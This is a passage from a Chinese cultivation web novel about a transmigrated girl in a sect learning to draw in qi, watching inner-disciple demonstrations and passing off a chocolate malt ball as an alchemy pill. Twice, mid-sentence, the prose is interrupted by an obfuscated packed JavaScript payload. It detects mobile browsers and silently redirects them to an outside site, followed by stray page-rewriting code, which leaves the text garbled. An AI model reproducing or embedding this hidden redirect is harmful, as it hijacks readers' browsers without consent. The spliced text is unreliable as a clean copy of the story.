他边听边忍不住点头,捻着胡须的手指微微放缓,原本紧绷的嘴角也柔和了些许。直到最后,他目光陡然一沉,神色严肃地问道:“四大宗门分踞四方守望相助,虽术法理念有所不同,但共同恪守的准则是什么?” “除魔卫道,护佑苍生。”沈玄宁高声答道:“千百年前魔界之门大开,妖魔肆虐人间,生灵涂炭,正是四派合力封印魔界入口,才护得人间太平。此乃正道大义,亦是吾辈修士永志不忘的使命!” 话音落下,广场瞬间安静下来,随即爆发出一阵低声惊叹,郝长老微微点头,眼中满是赞许:“回答得极好,看来昨日元清讲的,你都用心记下了,你叫什么名字?” “弟子沈玄宁。”她恭声应答,眼角的余光却忍不住瞥向不远处的陆远声。 好小子,一动不动的,竟然连侧头给个眼神都没有! 我这种超绝记忆力的学霸,怎么一点都打动不了你吗! “好,玄宁,我记住了。” 您老记住了没用啊,得陆远声记住啊! 沈玄宁退回队列,赵琳琅惊喜地用口型对她说:“宁宁你太厉害了!郝长老都夸你了!” 郝长老又接连点了几个弟子起身答话,被点到的要么支支吾吾说不全,要么答得磕磕绊绊,连四大宗门的名字都说错了两个,沈玄宁站在一旁看着,都替他们捏把汗,郝长老的脸色肉眼可见地阴沉了下去,却没斥责。 趁着这功夫,沈玄宁又偷偷瞄了陆远声好几眼。这么鲜明的对比,总该注意到她这个学霸了吧?可陆远声愣是从头到尾没往她这边瞥过一眼,全程腰背挺直地望着郝长老。 沈玄宁撇了撇嘴,行吧,大魔王果然心高气傲,这点小事还入不了他的眼。 考校过后,郝长老便带着这批新弟子开始了第一次正式修行。 修仙一道,境界分明,一步一重天。 由凡入仙,共有九个境界,依次是锻体、炼气、筑基、金丹、元婴、化神、炼虚、大乘、踏仙。 而每个境界又分初期、中期、后期、大圆满四个阶段。 从锻体期进入炼气期是将凡人与修士区别开的一个过程,凡人只有引天地灵气入体,开辟丹田后才算真正成为了一名修士,因各人天赋不同,所以炼气过程也可长可短。 “你们如今所处的,正是锻体期,筋骨未开,灵气难入。待成功引气入体,开辟丹田,便是炼气期。”郝长老继续道,“到了炼气期,便可将天地灵气转为自身灵力存于丹田内,画符御物皆需以此为基,进入炼气期的快慢也决定了日后修行的根基深浅。你们能入逍遥宗,自然是有修炼的天赋,但你们也不可懈怠,一定要尽快进入炼气期。” “今日第一课,便是要教你们入定,这也是你们以后每日的必修课。盘膝而坐,摒除杂念,凝神感受天地间游离的灵气,尝试引导其转入体内丹田处,心中默念口诀,致虚守静,气自归焉。” 弟子们纷纷盘膝坐下,沈玄宁也跟着调整姿势,将双腿盘稳,双手交叠放于腹前,刚要跟着默念口诀,却忽然愣住了。 诶,不对啊。 这个口诀怎么跟她书里翻到的不一样?算了,随便念吧反正都一样。 “不必心急,第一次能感应到天地之间所存的灵气便算是不错了。”郝长老的声音放缓了些,“引气入体需循序渐进,灵气初入经脉时,麻痒难耐是常有之事,但切不可因此乱了心神!” 他驻足于场中,目光扫过那些因急躁而皱眉的弟子:“此时需紧守抱元守一之心,顺着灵气游走之势,默念口诀引导其流转,待灵气行至丹田,再由丹田分润四肢百骸,如此循环往复,完成一周天运转,方能将灵气稳稳锁在体内化为自身灵力,从开真正开辟丹田根基!” “记住,灵气需顺其势、导其向。守住心,才能守住气,气归丹田,才算真正踏上仙途第一步!” 沈玄宁盘腿坐了快一个时辰,口诀在心里念得都快口胡了,却始终没等来郝长老说的那种四肢麻痒,倒是昨夜那种奇异的暖意,又悄无声息地在四肢百骸间游走起来,舒服得让她差点走神。 郝长老在队列中缓步巡视,虽看着严厉,心思却细得很,时不时轻声提点弟子调整呼吸放松心神,耐心得让不少原本战战兢兢的弟子都暗暗松了口气,连带着感应灵气时都从容了些。 枯坐了半晌,沈玄宁悄悄睁眼瞥了一眼,却见郝长老背着手站在不远处,目光落在陆远声和谢疏言身上,原本紧绷的嘴角竟是噙着一丝的笑意,眼神里是毫不掩饰的欣慰。 什么意思,那两位不会是第一次就成功了吧? 沈玄宁的眼神看了过去,只见陆远声闭目端坐,周身似有一股灵力像薄纱般包裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117708|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,随着他呼吸之间轻轻起伏,旁边的谢疏言也已是眉心舒展,面色平和,一看就是入了佳境。 沈玄宁看得咂舌,这就是天才吗! 第一次引气入体就成功了! 郝长老不是说第一次感应到灵气就算不错了吗,直接就进炼气期是不是有点夸张了。 好嘛,早该知道的,作为路人甲天生就是要给主角当背景板来衬托他们的。 接下来的一段时间,元清师兄隔三差五就来授理论课,从灵根属性讲到妖兽种类等等,而剩余时间,众弟子们都在广场上埋头苦修,盼望早日引气入体。 除了陆远声和谢疏言这两个第一天就成功的天才以外,其他人的进度则参差不齐,快的已能感受到存于四周的天地灵气,慢的还在对着空气打坐,满脸茫然。 沈玄宁就混在这群人这中间完全摸不着任何郝长老说的情况,日子过得颇为心虚。 她既担心自己可能是因为天赋太差而感受不到,又害怕自己是因为穿越来的跟这里的人体质不同,因此也不敢多嘴。 这样浑浑噩噩过了月余,有一日郝长老碰巧走到了沈玄宁旁边,目光一扫后忽然“咦”了一声,他抬手探了探沈玄宁的眉心,眼中闪过一丝讶异:“你已到了炼气期?何时突破的?” 沈玄宁自己都懵了:“啊?” “老夫方才一时未能勘破你的境界。”郝长老又仔细打量她片刻,越看越惊奇,“你这灵气敛得极好,若不细看,竟与凡人无异,既已突破,怎么未曾向我提起?” “弟子……弟子也不知。”她讷讷道,“许是近日打坐时不知不觉……就成了?” 郝长老不疑有他,在他看来,能将灵气敛得如此不露锋芒,必是心性沉稳且默默用功之辈。他捻着胡须,连连点头:“可见你平日修炼也颇为用功,不错。你天赋甚佳,往后更要勤勉,不可懈怠,若有什么修行上的疑问,随时来找我。” “是,弟子知道了。” 郝长老转身离去后,赵琳琅再也按捺不住,一把抓住沈玄宁的胳膊:“宁宁!恭喜啊!你是什么时候突破的啊?你都没告诉我!” “嗯……好像是昨天晚上?”沈玄宁歪着头开始瞎编。 “你好厉害啊!”赵琳琅晃着她的胳膊,语气里满是崇拜,“我现在还只能摸到点灵气的影子,你都进炼气期了!郝长老都说你天赋好了!” 看着赵琳琅亮晶晶的眼睛,沈玄宁真的很想说,其实她什么都不知道。 因为她根本没感受到郝长老说的那种灵气入体的初兆,也没有什么开辟丹田的感觉,打从一开始,她就感觉到了自己的不同。 郝长老形容灵气初入时,说是微弱游丝,又或是什么滞涩难行,可她感受到的,却像是体内藏着一汪现成的泉眼,灵力顺着经脉淌得顺畅,连半分滞涩都没有,更别提什么麻痒感了。 沈玄宁实在不知道该怎么形容自己的状况。 更奇的是丹田里那股填不满的感觉。每次打坐,她都觉得天地间的灵气像是被无形的线牵引着,争先恐后地往她体内钻,丹田像个深不见底的渊潭,无论吸纳多少灵气,都不见饱和。 沈玄宁对着《藏心》翻了半天,也没找到类似她这种灵气自动上门,丹田还像个无底洞的情况。 她想不明白,但是穿越来的总有几分心虚,并不敢去问郝长老,修真界最忌讳异类,万一被当成夺舍的魔修之类的,别说留在逍遥宗,怕是连小命都保不住。 还好这次郝长老亲口肯定了她的境界,算是给她吃了颗定心丸,只是这炼气期究竟是何时突破的,她依旧毫无头绪。 所以赵琳琅来找她讨教时,沈玄宁也只能含糊其辞:“就……心诚则灵?” “……哦。”赵琳琅似懂非懂地点点头,显然对这空泛的答案还是一头雾水。 “就多念口诀多打坐。”沈玄宁觉得赵琳琅是需要一个笃定回答的人,于是她重重一点头:“用真心。” 赵琳琅:“用真心,就可以吗?” 当然,不可以了。 4. 招生广告 沈玄宁的真心大法当然是起不到任何作用,赵琳琅是这批弟子里面最后一个感受到灵气的,引气入体更是花了整整三个月。 这小姑娘看起来确实天赋有点差啊。 这三个月里,沈玄宁的自己主线任务也是毫无进展。她压根没找到机会在陆远声面前展现什么强者风范,大魔王少年版的修行速度快得惊人,而且关键是人家还自律,整日埋头苦修,平时除了和谢疏言说几句话,完全分不出半点眼神给她这个路人甲。 好在这三个月虽没完成任务,但沈玄宁也没闲着,她把自己养得极好。 她本以为修仙门派的伙食都是清汤寡水,没想到逍遥宗外门的食堂藏着位神人,掌勺的林大厨是个老头,据说年轻时也是个修士,后来因伤境界止步。虽再也不能修行,但他一手厨艺却已是登峰造极,煮的饭软糯香甜,蒸菜炒菜均是鲜辣入味,连简单地炒盘青菜都带着股清甜,脆生生的格外爽口。 沈玄宁每天晨修结束后,总会饿得前胸贴后背,像是体内那无底洞似也影响了胃口。她往食堂一坐,往往是第一个端碗、最后一个放筷,天天吃得满嘴流油,幸福感直线飙升。 刚来那会儿,她还常常会在空间里面吃点现代食物,一段时间后她已经彻底沦陷在林大厨的手艺里了。 沈玄宁看着镜子里的自己,肤色比之前白皙了不少,还透着些健康的红润,脸颊两边长了点肉,连个子都蹿高了不少,原先空荡荡的弟子服穿在身上,终于有了点合身的模样。 再也不是那个刚穿来时的那棵豆芽菜了。 哎,这一路的麻辣鲜香,只有她自己知道了。 逍遥宗的修行并不是一昧打坐入定那么简单,除了每日的晨练与入定,戒律峰的长老们时常也要来授课,虽不要求弟子们各个满腹经纶,但最起码的人伦道理总是要通晓的,课堂就设在藏经阁旁边,青石铺地,紫藤绕架,倒是挺有读书的氛围。 “修仙先修德,心不正则术邪。”这是郝长老时常挂在嘴边的话,“若连尊敬长辈友爱同门都做不到,修得一身灵力又如何?不过是逞凶斗狠的利器,是非对错都辨不清,境界再高也是歧途。” 郝长老虽看着古板,讲起课来却不枯燥,他不讲那些拗口的经文,只说些修真界的典故。沈玄宁每次都听得挺认真,陆远声也是。他后来之所以会黑化,除了谢疏言的死,也与他早年受尽欺凌有关,郝长老的这些老生常谈,也许能让他心里有一丝丝的改变。 只是这种课,总有几个坐不住的调皮蛋,每次都被郝长老拎出来好一顿骂,沈玄宁常有种回到了小学上课的感觉。 当然最让新弟子们期待的,还是即将开始的九大主峰内门弟子授课。 这日的外门广场,比寻常嘈杂热闹了数倍,大家都有些无心打坐修炼了。毕竟今日,九大主峰的内门弟子会亲自来外门展示各峰修行之道,这可是他们头一回近距离接触不同法术,光是想想就足够让人激动。 辰时的钟声刚落,元清就御剑而来。他身后还跟着不少人,虽衣色各异,却都透着一股与外门弟子截然不同的沉稳气度。尤其是他们的模样,各个都生得万分惹眼,他们的外衫上似乎是有些门道的,行走间衣袂翻飞,一层灵力轻纱似在流动,晨光一照,当真是配得上仙气飘飘四个字。 “诸位师弟师妹。”元清站定在广场中央,声音不高却是瞬间压下了所有嘈杂,“你们初入仙门,或许在修炼一事上尚有迷茫。今日九大主峰各派弟子前来,就是为大家展示不同修行之道。外门三年,不仅是积累修为的过程,更是要让大家看清自己的道,唯有明心见性,方能迈向更高的境界。” “此后每日,各峰将轮值授课,九日为一个循环,第十日休沐。”他侧身示意身后的同门,“下面就有劳各位师弟师妹了。” 沈玄宁点了点头。 听懂了,打招生广告来了。 怪不得来的这一个个都俊男靓女,派些门面担当来展示实力,套路虽是有些简单粗暴,效果却是非常不错,看看师弟师妹们那双双发亮的眼睛,就知道这颜值攻势有多奏效了。 谁说修仙不看脸? 这长得好看,果然在哪儿都占便宜。 第一个展示的是扶疏峰,一位身着浅绿色衣衫的师兄缓步走上前来,他笑得好看,说话声音也温温柔柔:“各位师弟师妹们好,在下温南星,是扶疏峰的弟子。” 他一开口,广场上几个脸皮薄的女弟子就悄悄红了脸。 “扶疏峰与草木相伴,顺应自然,今天也不展示什么复杂术法了,就给大家种棵树吧。”温南星说着,从腰间的储物袋里取出一只紫砂土盆,又取了一小粒果核埋进土里,然后掐了个简单的催生诀,一缕极浅的灵力顺着指尖渗入盆土。 不过眨眼功夫,土面便冒出一点嫩黄的芽尖,以极快的速度抽枝展叶,枝桠向两侧舒展,不过数息功夫已长成了一棵亭亭而立的桃树,更惊人的是几乎在叶满枝头的同时,粉白色的桃花便在枝间盛开,不等落英缤纷,枝头已长出青果,转瞬间膨胀成拳头大小,果皮从青泛粉,沉甸甸地坠在枝头。 广场上一秒静得能听见针落,下一秒便是彻底炸了锅。 新弟子们被震惊得半天合不拢嘴,一个个仰着脖子,望着那棵挂满果实的桃树。眨眼的功夫,一个果核竟能长成挂满果实的桃树,在一群尚未完全脱凡的小弟子眼中,确实是神仙手段了。 沈玄宁也被狠狠震惊了,虽然穿来前看了不少仙侠小说,但是书里的描写再怎么离谱,终究隔着一层纸。而且她到底是一个现代人,当了这么多年的唯物主义者,她受到的冲击确实是不小。 当那些奇幻的描写变成眼前触手可及的真实,她只觉浑身的血液都沸腾了起来。 原来……这就是修仙。 此刻沈玄宁觉得自己语言匮乏得只想发自肺腑说一句国粹:WC! 满树桃果压得枝桠微颤,温南星伸手,一道温和的灵力拂过枝头,最顶端那个红透了的桃子便像长了脚似的,晃晃悠悠落到他掌心。 沈玄宁和赵琳琅本就挤在最前排,离温南星不过几步远,许是她刚才瞪着眼的模样太过惊奇,温南星低头时恰好对上她的目光,眼底漾起一抹笑意,竟径直朝她走了两步,将那个桃子递了过来:“这位小师妹,要尝尝吗?” “多谢温师兄。”沈玄宁接过桃子,冲着温南星用力点头道谢,她倒也不讲究什么洗不洗的直接就是啃了,咬下去的的瞬间,清甜的汁水在舌尖漾开,那甜味来得纯粹又饱满,连一丝酸味都没有。 “很甜的,谢谢温师兄。”沈玄宁含着果肉又嚼了嚼,说话时脸颊鼓鼓的。 “好。”温南星被她这副模样逗笑了,长袖轻挥间,枝头的桃子便纷纷落下,像阵粉红色的雨,稳稳悬停在每个弟子面前。 待最后一枚桃子分完,温南星转身看向那棵桃树,控制灵力的手势变换,方才还枝繁叶茂的桃树,像是在一瞬间被抽走了所有生气,花瓣簌簌坠落且消失在空中,翠绿的叶片以肉眼可见的速度枯黄卷曲,不过数息功夫,便彻底枯萎,最终只在土盆里留下了那枚果核。 从满树繁华到归于寂灭,不过弹指间。 当真是一念荣枯,道法自然。 “献丑了。”温南星将东西收回储物袋,对着众人拱了拱手,从容地退回了队列。 扶疏峰开了这样的一个头,已然将广场上的气氛烘到了顶点,新弟子们捧着手里的灵桃,眼神亮晶晶地望着剩下的内门弟子,期待值拉到了最满。 排在温南星的后面是符天峰的李鸢,做了自我介绍以后指尖并作剑指,在身前凌空一画。 金光凭空出现,在空中迅速勾勒出一道太极八卦虚影。 其中乾、坤、震、巽、坎、离、艮、兑八个卦象清晰分明,太极八卦虚影在空中迅速转动,带起阵阵灵力微风,引得前排弟子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117709|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷屏息,那金光道符竟缓缓朝着沈玄宁的方向飘来。 沈玄宁愣了一下,下意识地往后缩了缩,那道符已停在她面前半尺处,光芒却忽然柔和了许多,不等她反应过来,金光忽然化作一道细流,轻轻融进她的眉间。 “此为退鬼符,可镇邪驱恶,护佑心神。”李鸢收回手,“这位师妹年纪尚小,带一道在身,可保平安。” 沈玄宁这才回过神,连忙抬手摸向眉心,那里还残留着淡淡的温热感:“多谢李师姐。” 她觉得今天好像是撞大运了,因为占了前排的好位置,这吃桃子和接符咒的都轮上了,怎么突然感觉自己有点像托啊! 而后出场的几位师兄师姐也完全没让大家失望。 玲珑峰的周文婷一上来就从储物袋里倒出一堆细碎的铜片,灵力一拂,那些铜片便咔嗒咔嗒自动拼接,转瞬间竟组成了一只巴掌大的机关小狗,汪汪汪地满地乱跑。 更惊人的是,随着灵力注入,那机关小狗竟涨至半人高,周文婷轻巧地一跃,稳稳落在它背上,机关狗便驮着她在广场上跑了个来回,最后机关小狗的脊背两侧忽然展开一对薄如蝉翼的铜翅,竟带着她飞离地面,在广场上空盘旋一周才落下。 “哇——”惊呼声此起彼伏。 当然,最受师妹们欢迎的还是百灵峰的连柏。连师兄没展示什么术法,只是直接从储物袋中取出一只通体雪白的灵宠,眨巴着大眼睛的小兔子乖顺可爱,还能听懂人言,瞬间就俘获了在场不少的少女心。 比如赵琳琅就捧着脸颊一直喊:“好可爱啊……” 广场上的气氛一波高过一波,本以为都亮过相了,结果数来数去竟然还少一个,少的是还是最让人期待的问剑峰。 元清脸上闪过一丝无奈,环顾四周,目光最终定格在不远处的一棵老槐树上。众人顺着他的视线望去,只见一根粗壮的横枝上,斜斜躺着个玄衣人影,那人怀里抱着柄长剑,双腿随意搭在枝桠上,竟是在树上打盹! 元清轻咳一声,扬声道:“小明,该你了。” 树上的人影动了动,懒洋洋地掀起眼皮,坐起身时怀里的长剑差点顺着衣料滑下去,他手忙脚乱地捞住剑,揉了揉眼一副睡眼惺忪的模样。 “啊?”他茫然地往下看,视线在攒动的人头里转了一圈,像是还没完全清醒,直到对上元清无奈的目光,“到我了?” 温南星站在一旁,笑着搭话:“可不是到你了么。” 这么一位在树上偷懒打盹还差点把佩剑摔下去的主儿,和问剑峰响亮名头实在相去甚远,场下顿时响起一片窸窸窣窣的低笑。 沈玄宁眯起眼睛,盯着树上那人翻身跃下的身影,他的动作倒是利落,脚尖在枝桠上轻轻一点,身形便如纸鸢般飘然而落,这才让她看清了脸,剑眉斜飞入鬓,眼尾微微上挑,鼻梁高挺,唇线一抿还带着点漫不经心的弧度,当真是生得不凡。 单论这张脸,来当招生门面确实是绰绰有余了。 只是…… 知道你们问剑峰的人是高手了!一定要这样装逼地出场吗! 那人走到近前,目光扫过沈玄宁手里啃剩下的桃核,转头冲着温南星笑得十分痞气:“阿星,你怎么年年都种桃子,你倒是换个果子,我不爱吃这个。” 温南星道:“好,下次一定换。” “你换我可不换。” 没有展示什么气贯长虹的灵力,也没有耍什么惊天动地的剑招,这位被元清叫做小明的师兄甚至都没有做自我介绍,只是随意挽了几个花里胡哨的剑花,而后对着目瞪口呆的新弟子们咧嘴一笑:“欢迎师弟师妹们大考的时候报名问剑峰啊!练剑可有意思了!我最喜欢练剑了!” “……” 这九峰的内门弟子,竟是问剑峰的瞧着最不靠谱。 沈玄宁看着这位颜值逆天的大帅哥当众耍完宝,是真想问一句,你们问剑峰的人真的没事吗? 5. 师兄请吃 被内门师兄师姐们震撼过后,外门的修行课程算是正式拉开了序幕。 《藏心》原著里对这段日子只有寥寥几笔,可这干巴巴的几行字哪能概括完三年真实的修行生活?沈玄宁只能一边摸索着上课一边见缝插针地想惹陆远声注意。 结果这小冰块脸是一个眼神都不带给的。 这么长时间下来,任务进度依然是最初状态,她发愁地吃了三大碗鸡丝汤面,然后又要了第四碗。 “宁宁,你……还要吃啊?”赵琳琅在旁边看得目瞪口呆,虽然这段时间已经见识到沈玄宁的胃口不错,但今天这架势还是让她咋舌,那鸡丝汤面的碗口比脸还大,她自己只要了半碗就足够了,沈玄宁这已经是第四碗了。 不过想这样多吃倒也无碍,逍遥宗的伙食算是很不错的,而且是类似于自助餐的模式,让弟子们想吃多少便是吃多少。 修仙之人初期消耗本就大,而外门弟子也多在是炼气期,平日所需还是要靠食物补充,等日后修为精进,达到筑基期便能辟谷,届时进食也就成了偶尔的解馋之举。 沈玄宁也觉得自己对比现代胃口大了不止一点点,她觉得主要还是因为每天早上爬起来晨练给闹的。 每天天不亮就起来练拳,说什么强身健体对她这种从前的懒骨头来说太痛苦了,比起这样的煎熬,入定修炼对她来说简直是种享受。 郝长老总说,入定需摒除杂念,心如止水。 大半弟子都得枯坐半个时辰,才能勉强压下脑子里的胡思乱想,可沈玄宁只要闭上眼,脑子里的念头就像被按下了暂停键,呼吸一匀,天地间游走的灵气便清晰得像在眼前流动,然后顺着经脉缓缓汇入丹田。 有时候打坐时,沈玄宁都忍不住琢磨,难道我是个天才? 不不不,绝无可能。 想不通就懒得想,沈玄宁低头继续扒拉鸡丝汤面。吃完这碗就得去上课了,今日是栖霞峰的炼丹课,可是她盼了许久的重头戏。 毕竟修仙嘛,丹药从来都是重中之重。 一进丹房,夹杂着灵气的药香便扑面而来,闻着格外舒畅。站在最前方石台前的身影,正是栖霞峰先前去外门展示的师兄,柳问松。 丹房里整齐排列着数十个青灰色的低阶炼丹炉,炉身不算高大,还刻着一些简单的聚灵纹路。 弟子们随意挑选丹炉位置,沈玄宁便特意挑了个离陆远声不远的位置和赵琳琅他们一块儿坐下了。柳问松拿起石台上的药材,温声讲解道:“今日我们学的是最基础的聚灵丹。此丹属一品丹药,可加速灵力运转、辅助提升修为,是炼气期修士入门必备丹药之一。” 顿了顿,他目光扫过满脸期待的新弟子们:“虽只是一品丹药,但上品聚灵丹的药效依然不容小觑,可让炼气期修士省去几日苦修,不过我们今日不必苛求品级,只学塑形。将药材炼化、融合,以灵力催化塑形,便是炼丹的第一道门槛。” “炼丹第一步,是控火。”柳问松说着指尖凝起一缕柔和的灵力,轻轻点向炉底的符纸,“低阶丹炉可借引火符生火,火苗的强弱全凭你们的灵力操控。” 随着他灵力注入,原本黯淡的符纸瞬间亮起橘红色的光,一簇跳动的火苗“腾”地从炉底升起,不大不小,正好舔舐着炉腹,柳问松道:“灵力需匀需稳,不可猛增猛减,火苗太弱,不足以炼化药材,但若太旺,则会烧毁药性。” 他边说边演示:“你们先来试试,让火苗稳定在这个强度,半个时辰后我们再学下一步。” 弟子们连忙依样画葫芦,纷纷催动灵力点向引火符,可刚一开始,丹房里就乱了套—— 比如北边角落里突然窜起半尺高的火苗,差点燎着他自己的头发,引得周围一阵惊呼,吓得那名弟子手忙脚乱地撤回灵力顺便灭火。 再比如沈玄宁旁边坐着的赵琳琅,用尽全力引火符却只亮了个边角,闪了两下就灭了,她急得鼻尖冒汗,“为什么我的点不着啊……” 沈玄宁看了一会儿,也试着用灵力催动引火符,灵力刚一触到符纸,橘红色的火苗便是燃起,不大不小,恰好符合柳问松说的标准。她心中微喜,分心看了一眼陆远声和谢疏言,两人炉底的火苗同样稳定,显然在灵力控制上已远超周围人。 等众人的火苗都趋于稳定,柳问松的声音再次响起,他的手里已多了几株药材:“先投主药青灵草、宁神花与黄精,炼化其杂质,待三者相融,再投褐石草,此物炼化后能助药力凝聚,也算是辅材。” 他将药材投入炉中,草叶在烈焰中舒展蜷缩,全部融化后汇成了一团青色灵液,细碎杂质沉在炉底,被他屈指弹出的一缕灵力轻轻扫去。 “现在凝丹。”柳问松变换手势,“用灵力裹住炼化后的灵液,慢慢塑形。” 随着他手势变化,丹炉之中炼化的灵液渐渐凝固收缩,原本流动的光泽变得内敛,最终凝成一颗指甲盖大小的青色丹药,那药丸圆润饱满,落在玉盘里时还滚了两圈,表面还有一层淡淡的光。 “如此便是成了。” 许是见新弟子们个个面色紧绷,柳问松忽然笑了,语气轻松了些:“大家不必紧张。每个丹炉旁都暂备了十份药材,尽管放心大胆地试,炼废了没关系,再重来就是,咱们逍遥宗这点药材还是供得起的。” 场下顿时响起一片笑声,因第一次炼丹而紧绷的气氛缓和了许多,弟子们纷纷应和: “是,谢柳师兄!” “师兄放心,我们肯定不会浪费的!” “争取炼出颗上品丹来!” 大家都开始炼丹了,丹房内的灵力波动此起彼伏,当然更多的是弟子们懊恼的叹息声。 沈玄宁眼角余光扫过四周,不少人都是炼化了以后无法成型,稍好些的最多的是将灵液凝固,但是怎么都塑不成一个药丸的形状。 就连陆远声都已经失败了两次,而且第三次尝试因为炼化太急已经把药材给烧焦了。 沈玄宁看得差点笑出声,好小子,这天才也有撩蹄子的时候了。 她收回目光,看着自己炉中已经炼化好的药材,忽然灵光一闪。 要说圆圆的东西……她还真有! 她心念一动,趁人不注意悄悄从空间里摸出一粒麦丽素握在了手心里,巧克力外皮裹着酥脆内芯,大小和柳师兄炼出的聚灵丹差不多,这形状,不是药丸是什么! 沈玄宁越想越觉得这主意天才。 她用灵力包裹了麦丽素然后投进了丹炉里,屏住呼吸盯着被她投入丹炉的麦丽素,因为有灵力护着,外皮的巧克力倒是没有因为高温熔化。沈玄宁牵引着被炼化后的灵液缓缓融进麦丽素里,神奇的是灵液刚触到巧克力外皮,就开始往里钻,那小小一颗麦丽素竟像海绵般,牢牢吸住了所有融进去的灵液,连一丝裂缝都没出现。 “居然没爆?”沈玄宁忍不住在心里低呼。 巧克力外皮泛着一丝青绿色的光,酥脆的内芯被灵液浸润,却依旧保持着原有的形状,没有半分溃散的迹象。 所以这算什么? 现代科技万岁?添加剂你真的赢了,你比修真界的灵液还猛。 沈玄宁惊喜地看着丹炉里面的半成品,用灵力百无聊赖地搓起了圆子,麦丽素边缘那些不规整的细小凸起被慢慢磨圆,不过片刻功夫,一颗圆滚滚的药丸便出炉了,大小匀称,手感温润,还有淡淡的药香,真是太像样了! 只是—— 柳问松的丹药是青色的,而她的是巧克力色的。 嗯,颜色虽然有点叛逆,但还是成型了。要是柳师兄问起来,就说这颜色是火候太猛烧焦了他会信吗? 算了不管了,柳师兄不是说成型就行吗!你就说这成没成型吧,圆滚滚一颗,连边边角角都磨得光滑,比陆远声那小子可强多了,他到现在还没成丹呢。 总算是有地方比他强了!!!! 等到日头偏西,炼丹课快结束时,丹房里能成功炼出成型丹药的弟子依旧寥寥无几。沈玄宁眼尖地瞧见陆远声面前的玉盘里终于躺着颗青色丹药,虽然形状有点扁,算不上规整,但好歹靠着他对灵力超强的把控力塑形成功了。 看来大魔王也是个炼丹苦手嘛,嘿嘿。 倒是谢疏言让她有些意外,他炼出的聚灵丹色泽均匀,青中带润,表面光滑如镜,连柳问松都忍不住拿起来端详片刻,赞了句品相不错,师弟很好。 赵琳琅最终还是没能塑形成功,炉底只留下一滩凝固的药泥,她看着沈玄宁玉盘里那颗黑乎乎的药丸,眨巴着眼睛有些发愣:“宁宁,你的这是……烧焦了吗?” 我谢谢你啊好姐妹,跟我的准备的借口说出来了!沈玄宁干笑两声,拍了拍她的手背:“没事儿,还能吃的。” 柳问松站在沈玄宁的聚灵丹面前也是看了许久,终于,他忍不住开口:“师妹啊……” “哎!柳师兄!”沈玄宁早有准备,立刻接口,“我知道这颜色不对,我刚才手一抖给烧焦了,不过闻着味道还行,药性应该没毁,不如柳师兄你尝尝?” 你尝尝啊!师兄!你尝尝就知道多好吃了!这可是麦丽素啊!!! 柳问松却是笑着拒绝:“今日只考塑形,师妹能第一次就炼出成型的丹药,已是难得。既已成功,颜色如何倒不是问题,只是成型的丹药还要去测下药力,我就不尝了……” 他话没说完,就见沈玄宁抬手对着炼丹炉一召,九颗圆滚滚的丹药从炉中浮起,在她面前排成整齐的一列,颗颗漆黑油亮,大小均匀。 “师兄放心!”她笑得更灿烂了,“我炼了十颗呢,您尝一颗没关系,剩下的九颗还能拿去鉴别药力,绝对够用!” 柳问松:“……” 旁边一个男弟子见沈玄宁这一排丹药,忍不住打趣道:“师妹啊,你这是把十份药材全烧焦了?颗颗焦得这么均匀,也是本事啊!” 这话一出,丹房里顿时爆发出一阵哄笑。 不对,十颗。 柳问松猛地抬眼,目光在那十颗丹药上扫过,语气里带着巨大的震惊:“你十颗都炼成了?” 丹房里的哄笑声瞬间停了,他们像是才反应过来一般。所有弟子的目光齐刷刷投向沈玄宁,刚才还带着笑意的脸,此刻全换 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“好吃的。”柳问松十分诚实地点头,“丹形规整圆润,灵力凝而不散,药性也保留得极好。至于味道……实在不知师妹如何能炼出这样的味道,我从前虽没尝过,但确实是好吃的!” “师妹第一次炼丹就能有此造诣,实在难得!”他顿了顿,目光落在沈玄宁脸上,带着真切的欣赏:“若师妹将来愿意入我栖霞峰,潜心钻研炼丹术,成就绝不在我之下。” 这话一出,丹房里彻底炸开了锅! 沈玄宁这波装了个大的,心满意足地展现了一下所谓的强者风范,在满室震惊的目光里瞥见了陆远声微怔的侧脸,心里的爽感简直要溢出来。 这么大动静总该注意到我了吧! 这么厉害的炼丹天才就在眼前,臭小子还不赶紧放下你的高冷,速度来找我搭话? “柳师兄过奖了。”沈玄宁乖巧应下,“不知这剩下的丹药我可否……” “当然,师妹炼的,自然是归你。” “多谢柳师兄。” 沈玄宁留了一颗给柳问松交作业,剩下都用丹房里面的瓷瓶给揣走了。还没走出丹房,赵琳琅就巴巴地凑了上来,眼睛直勾勾盯着她手里的瓷瓶,吞了吞口水:“宁宁,你炼的丹……真的像柳师兄说的那样,很好吃吗?” “你尝尝吧,甜的。”沈玄宁巴不得她来问,立刻是倒出两颗,一颗递给赵琳琅,一颗递给了旁边跟着的赵吉利,“吉利小弟也来一颗。” “谢谢宁宁!你最好了!”赵琳琅欢天喜地接过去,想都没想就塞进嘴里,下一秒眼睛瞪得溜圆,“哇!是甜的!里面还有脆脆的!真的好好吃啊!” “……多谢阿宁。”突然就矮了沈玄宁一辈的赵吉利,“但是阿宁师妹,我比你大来着。” “这不是重点。”沈玄宁转头招呼不远处正踮脚张望的曲新梨,“阿梨!你要吃吗?很甜的!” 